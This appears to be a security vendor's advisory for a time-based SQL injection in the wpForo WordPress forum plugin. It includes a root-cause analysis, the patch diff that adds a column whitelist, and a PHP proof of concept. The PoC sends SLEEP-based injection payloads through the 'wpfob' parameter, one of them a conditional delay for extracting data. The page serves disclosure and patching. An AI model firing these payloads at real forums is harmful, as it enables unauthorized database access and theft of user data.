Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1581: wpForo Forum <= 2.4.14 – Unauthenticated Time-Based SQL Injection (wpforo)

CVE ID CVE-2026-1581
Plugin wpforo
Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 2.4.14
Patched Version 2.4.15
Disclosed February 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1581:
The wpForo Forum plugin for WordPress versions up to and including 2.4.14 contains an unauthenticated time-based SQL injection vulnerability. This vulnerability exists in the plugin’s handling of the ‘wpfob’ (order by) parameter across multiple forum listing functions. Attackers can exploit this flaw to execute arbitrary SQL commands, potentially leading to sensitive database information disclosure. The CVSS score of 7.5 reflects the high impact of successful exploitation.

The root cause is insufficient input validation and escaping of the ‘wpfob’ parameter before its inclusion in SQL ORDER BY clauses. The vulnerable code in wpforo/includes/functions.php uses only sanitize_text_field() on user-supplied input, which fails to prevent SQL injection attacks. The affected code paths include the recent posts/topics display functions in wpforo/themes/classic/recent.php and search functionality in wpforo/wpforo.php. The parameter flows directly into SQL queries without proper whitelisting or parameterized query preparation.

Exploitation occurs via HTTP GET requests containing malicious ‘wpfob’ parameters. Attackers target endpoints that render recent forum content, such as the recent posts or topics pages. The payload uses time-based SQL injection techniques with functions like SLEEP() or BENCHMARK() to extract database information through timing differences. No authentication is required, and the attack works from the default forum front-end interfaces.

The patch introduces a new wpforo_sanitize_orderby() function that implements strict column name whitelisting. The function replaces sanitize_text_field() calls in four locations: wpforo/themes/classic/recent.php lines 29 and 71, and wpforo/wpforo.php lines 1033, 1074, and 1150. The whitelist includes specific allowed columns for topics, posts, members, and search contexts. Invalid input returns a safe default value instead of the user-supplied string.

Successful exploitation allows complete database compromise. Attackers can extract sensitive information including user credentials, private messages, administrative settings, and personally identifiable information. The vulnerability enables data exfiltration through blind SQL injection techniques, potentially leading to complete site takeover if administrative credentials are obtained from the database.

Differential between vulnerable and patched code

Code Diff
--- a/wpforo/includes/functions.php
+++ b/wpforo/includes/functions.php
@@ -2845,6 +2845,55 @@
 	return $data;
 }

+/**
+ * Sanitize orderby parameter for SQL queries.
+ * Validates against a whitelist of allowed column names to prevent SQL injection.
+ *
+ * @param string $orderby The orderby value to sanitize
+ * @param string $context The context: 'topics', 'posts', 'members', or 'search'
+ * @param string $default Default value if validation fails
+ * @return string Sanitized orderby value
+ */
+function wpforo_sanitize_orderby( $orderby, $context = 'topics', $default = '' ) {
+	$orderby = sanitize_text_field( $orderby );
+
+	// Define allowed columns for each context
+	$allowed = [
+		'topics' => [
+			'topicid', 'forumid', 'userid', 'title', 'slug', 'created', 'modified',
+			'views', 'posts', 'type', 'status', 'private', 'closed', 'solved',
+			'has_attach', 'first_postid', 'last_postid', 'pollid', 'prefix'
+		],
+		'posts' => [
+			'postid', 'forumid', 'topicid', 'userid', 'title', 'created', 'modified',
+			'status', 'private', 'is_answer', 'is_first_post', 'votes', 'root', 'parentid'
+		],
+		'members' => [
+			'userid', 'posts', 'questions', 'answers', 'comments', 'reactions', 'points',
+			'online_time', 'registered', 'display_name', 'user_registered'
+		],
+		'search' => [
+			'relevancy', 'date', 'user', 'forum', 'created', 'modified'
+		],
+	];
+
+	// Get the whitelist for this context
+	$whitelist = isset( $allowed[$context] ) ? $allowed[$context] : [];
+
+	// Also allow common aliases
+	$whitelist = array_merge( $whitelist, [ 'id', 'date', 'name' ] );
+
+	// Check if orderby is in the whitelist (case-insensitive)
+	$orderby_lower = strtolower( $orderby );
+	foreach( $whitelist as $allowed_col ) {
+		if( strtolower( $allowed_col ) === $orderby_lower ) {
+			return $allowed_col; // Return the properly cased version
+		}
+	}
+
+	// If not in whitelist, return the default
+	return $default;
+}

 if( ! function_exists( 'sanitize_textarea_field' ) && ! function_exists( '_sanitize_text_fields' ) ) {
 	function sanitize_textarea_field( $str ) {
--- a/wpforo/themes/classic/recent.php
+++ b/wpforo/themes/classic/recent.php
@@ -29,7 +29,7 @@
 	$end_date = time() - ( intval( $days ) * 24 * 60 * 60 );
 	if( wpfval( $args, 'prefixid' ) ) $args['prefix'] = (int) wpfval( $args, 'prefixid' );
 	$args['where']     = "`modified` > '" . gmdate( 'Y-m-d H:i:s', $end_date ) . "'";
-	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
+	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
 	$args['order']     = 'DESC';
 	$args['offset']    = ( $paged - 1 ) * wpforo_setting( 'topics', 'topics_per_page' );
 	$args['row_count'] = wpforo_setting( 'topics', 'topics_per_page' );
@@ -71,7 +71,7 @@
 } else {
 	$end_date = time() - ( intval( $days ) * 24 * 60 * 60 );
 	if( $view !== 'unapproved' ) $args['where'] = "`created` > '" . gmdate( 'Y-m-d H:i:s', $end_date ) . "'";
-	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
+	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
 	$args['order']     = 'DESC';
 	$args['offset']    = ( $paged - 1 ) * wpforo_setting( 'topics', 'posts_per_page' );
 	$args['row_count'] = wpforo_setting( 'topics', 'posts_per_page' );
--- a/wpforo/wpforo.php
+++ b/wpforo/wpforo.php
@@ -5,7 +5,7 @@
 * Description: WordPress Forum plugin. wpForo is a full-fledged forum solution for your community. Comes with multiple modern forum layouts.
 * Author: gVectors Team
 * Author URI: https://gvectors.com/
-* Version: 2.4.14
+* Version: 2.4.15
 * Requires at least: 5.2
 * Requires PHP: 7.2
 * Text Domain: wpforo
@@ -14,7 +14,7 @@

 namespace wpforo;

-define( 'WPFORO_VERSION', '2.4.14' );
+define( 'WPFORO_VERSION', '2.4.15' );

 //Exit if accessed directly
 if( ! defined( 'ABSPATH' ) ) exit;
@@ -1033,7 +1033,7 @@
 					'postids'     => [],
 				];
 				if( ! empty( $get['wpfob'] ) ) {
-					$args['orderby'] = sanitize_text_field( $get['wpfob'] );
+					$args['orderby'] = wpforo_sanitize_orderby( $get['wpfob'], 'search', 'relevancy' );
 				} elseif( in_array( wpfval( $args, 'type' ), [ 'tag', 'user-posts', 'user-topics' ], true ) ) {
 					$args['orderby'] = 'date';
 				}
@@ -1074,7 +1074,7 @@

 					if( wpfval( $args, 'prefixid' ) ) $args['prefix'] = (int) wpfval( $args, 'prefixid' );
 					$args['where']     = "`modified` > '" . gmdate( 'Y-m-d H:i:s', $end_date ) . "'";
-					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
+					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
 					$args['order']     = 'DESC';
 					$args['offset']    = ( $current_object['paged'] - 1 ) * $current_object['items_per_page'];
 					$args['row_count'] = $current_object['items_per_page'];
@@ -1150,7 +1150,7 @@
 					$current_object['items_per_page'] = wpforo_setting( 'topics', 'posts_per_page' );

 					if( $view !== 'unapproved' ) $args['where'] = "`created` > '" . gmdate( 'Y-m-d H:i:s', $end_date ) . "'";
-					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
+					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
 					$args['order']     = 'DESC';
 					$args['offset']    = ( $current_object['paged'] - 1 ) * $current_object['items_per_page'];
 					$args['row_count'] = $current_object['items_per_page'];

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1581 - wpForo Forum <= 2.4.14 - Unauthenticated Time-Based SQL Injection

<?php

$target_url = "http://target-site.com/forum/recent/"; // Change to target forum URL

// Time-based SQL injection payload
// Uses CASE WHEN to create timing delay if condition is true
$payloads = [
    "modified" => "Legitimate value",
    "modified' AND (SELECT 1 FROM (SELECT SLEEP(5))a)-- " => "5 second delay if vulnerable",
    "modified' AND IF(ASCII(SUBSTRING((SELECT DATABASE()),1,1))>0,SLEEP(3),0)-- " => "Conditional delay for data extraction",
    "modified' UNION SELECT NULL,NULL,NULL,NULL,NULL,SLEEP(5),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- " => "Union-based timing attack"
];

echo "Testing CVE-2026-1581 against: $target_urlnn";

foreach ($payloads as $wpfob => $description) {
    $url = $target_url . "?wpfob=" . urlencode($wpfob);
    
    echo "Testing: $descriptionn";
    echo "Payload: $wpfobn";
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10); // Set timeout to detect delays
    curl_setopt($ch, CURLOPT_HEADER, false);
    
    $start_time = microtime(true);
    $response = curl_exec($ch);
    $end_time = microtime(true);
    
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $request_time = $end_time - $start_time;
    
    curl_close($ch);
    
    echo "HTTP Code: $http_coden";
    echo "Response Time: " . round($request_time, 2) . " secondsn";
    
    if ($request_time > 3 && strpos($wpfob, 'SLEEP') !== false) {
        echo "RESULT: LIKELY VULNERABLE - Significant delay detectedn";
    } else {
        echo "RESULT: No conclusive evidencen";
    }
    
    echo str_repeat("-", 60) . "nn";
}

echo "Note: This PoC demonstrates timing-based detection. Full data exfractionn";
echo "would require more sophisticated payloads with incremental charactern";
echo "extraction using binary search techniques.n";

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School